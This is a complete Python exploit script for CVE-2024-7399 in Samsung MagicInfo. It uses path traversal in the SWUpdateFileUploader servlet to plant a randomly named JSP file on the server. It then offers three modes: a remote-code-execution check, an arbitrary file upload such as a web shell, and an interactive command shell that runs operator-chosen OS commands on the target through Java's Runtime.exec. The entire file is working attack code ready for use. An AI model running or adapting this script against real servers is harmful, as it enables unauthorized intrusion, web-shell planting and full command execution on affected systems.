import requests
import string
import random
import base64
import urllib.parse
import argparse
from jinja2 import Template
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

CHECK_PAYLOAD_FILE = "check.jsp"
EXPLOIT_PAYLOAD_FILE = "exploit.jsp"

def _read_file_content(filepath):
    try:
        with open(filepath, 'r') as f:
            return f.read()
    except FileNotFoundError:
        print(f"[-] Error: Payload file not found at '{filepath}'")
        exit(1)
    except IOError as e:
        print(f"[-] Error reading file '{filepath}': {e}")
        exit(1)

def upload(target_url, filename):
    file_content = _read_file_content(filename)
    ext = filename.split(".")[1]
    filename = ''.join(random.choices(string.ascii_letters + string.digits, k=8))

    upload_url = f"{target_url}/MagicInfo/servlet/SWUpdateFileUploader?fileName=/../../../../../../server/{filename}.{ext}&deviceType=test&deviceModelName=test&swVer=1234"
    print(f"[*] Attempting to upload JSP to: {upload_url}")
   
    headers = {"Content-Type": "text/plain"}
    upload_response = requests.post(upload_url, headers=headers, data=file_content, timeout=10, verify=False)

    if not upload_response.status_code == 200:
        print("[*] Upload failed...")
        print(upload_response.status_code)
        print(upload_response.text)
        print("=" * 10)

        return None
    
    return filename

def check(target_url):
    input_str = ''.join(random.choices(string.ascii_letters + string.digits, k=8))

    filename = upload(target_url, CHECK_PAYLOAD_FILE)
    if not filename:
        return

    print(f"[+] File upload successful: {filename}.jsp")

    command_to_execute = f"echo {input_str}"
    encoded_input = urllib.parse.quote(base64.b64encode(command_to_execute.encode()).decode())
    verify_url = f"{target_url}/MagicInfo/{filename}.jsp?input={encoded_input}"
    print(f"[*] Verifying RCE at: {verify_url}")

    verify_response = requests.get(verify_url, timeout=10, verify=False)

    if verify_response.status_code == 200 and input_str in verify_response.text:
        print(f"[+] RCE Verified! Input '{input_str}' found in response.")
        print(f"[+] Vulnerable to CVE-2024-7399")
    else:
        print("[-] RCE verification failed.")
        print(f"    Status code: {verify_response.status_code}")
        print(f"    Response text (first 500 chars): {verify_response.text[:500]}...")


def _execute_command(target_url, filename, command, template):
    java_code_to_execute = template.render(command=command)
    encoded_java_code = base64.b64encode(java_code_to_execute.encode('utf-8')).decode('utf-8')
    encoded_payload = urllib.parse.quote(encoded_java_code)

    exploit_url = f"{target_url}/MagicInfo/{filename}.jsp?key=mykey&input={encoded_payload}"
    print(f"[*] Sending command via: {exploit_url}")

    try:
        response = requests.get(exploit_url, timeout=30, verify=False)
        
        if response.status_code == 200:
            print("[+] Command output:")
            print(response.text)
        else:
            print(f"[-] Command execution failed. Status code: {response.status_code}")
            print(f"    Response: {response.text}")
    except requests.RequestException as e:
        print(f"[-] Error executing command: {e}")
    except Exception as e:
        print(f"[-] An unexpected error occurred during command execution: {e}")

def execute(target_url):
    JAVA_COMMAND_TEMPLATE = """try {
    var BufferedReader = Java.type("java.io.BufferedReader");
    var InputStreamReader = Java.type("java.io.InputStreamReader");
    var Runtime = Java.type("java.lang.Runtime");

    var process = Runtime.getRuntime().exec("{{ command }}");
    var reader = new BufferedReader(new InputStreamReader(process.getInputStream()));

    var line;
    while ((line = reader.readLine()) !== null) {
        out.println("Command output: " + line);
    }
    process.waitFor();
} catch (e) {
    out.println("Error executing command: " + e);
}
"""
    filename = upload(target_url, EXPLOIT_PAYLOAD_FILE)

    if not filename:
        return
    
    while True:
        template = Template(JAVA_COMMAND_TEMPLATE)

        cmd = input("Command (q to exit): ")
        if cmd == "q":
            break
        _execute_command(target_url, filename, cmd, template)


def main():
    parser = argparse.ArgumentParser(
        description="Exploit script for CVE-2024-7399 (Samsung MagicInfo SWUpdateFileUploader vulnerability)."
    )

    parser.add_argument(
        "target_url",
        help="The target URL of the Samsung MagicInfo server (e.g., https://192.168.192.13:7002)"
    )

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument(
        "--check",
        action="store_true",
        help="Perform RCE verification by uploading a simple JSP and echoing a random string."
    )
    group.add_argument(
        "--upload",
        metavar="FILEPATH",
        help="Upload a specified local file (e.g., shell.jsp) to the server. Returns the uploaded filename."
    )
    group.add_argument(
        "--execute",
        action="store_true",
        help="Initiate an interactive command shell after uploading the exploit payload."
    )

    args = parser.parse_args()

    if args.check:
        try:
            check(args.target_url)
        except requests.RequestException as e:
            print(f"[-] Error during request: {e}")
        except Exception as e:
            print(f"[-] An unexpected error occurred: {e}")
    elif args.upload:
        filename = upload(args.target_url, args.upload)
        ext = args.upload.split(".")[1]
        print(f"[*] The file can be found at /MagicInfo/{filename}.{ext}")
    elif args.execute:
        execute(args.target_url)

if __name__ == "__main__":
    main()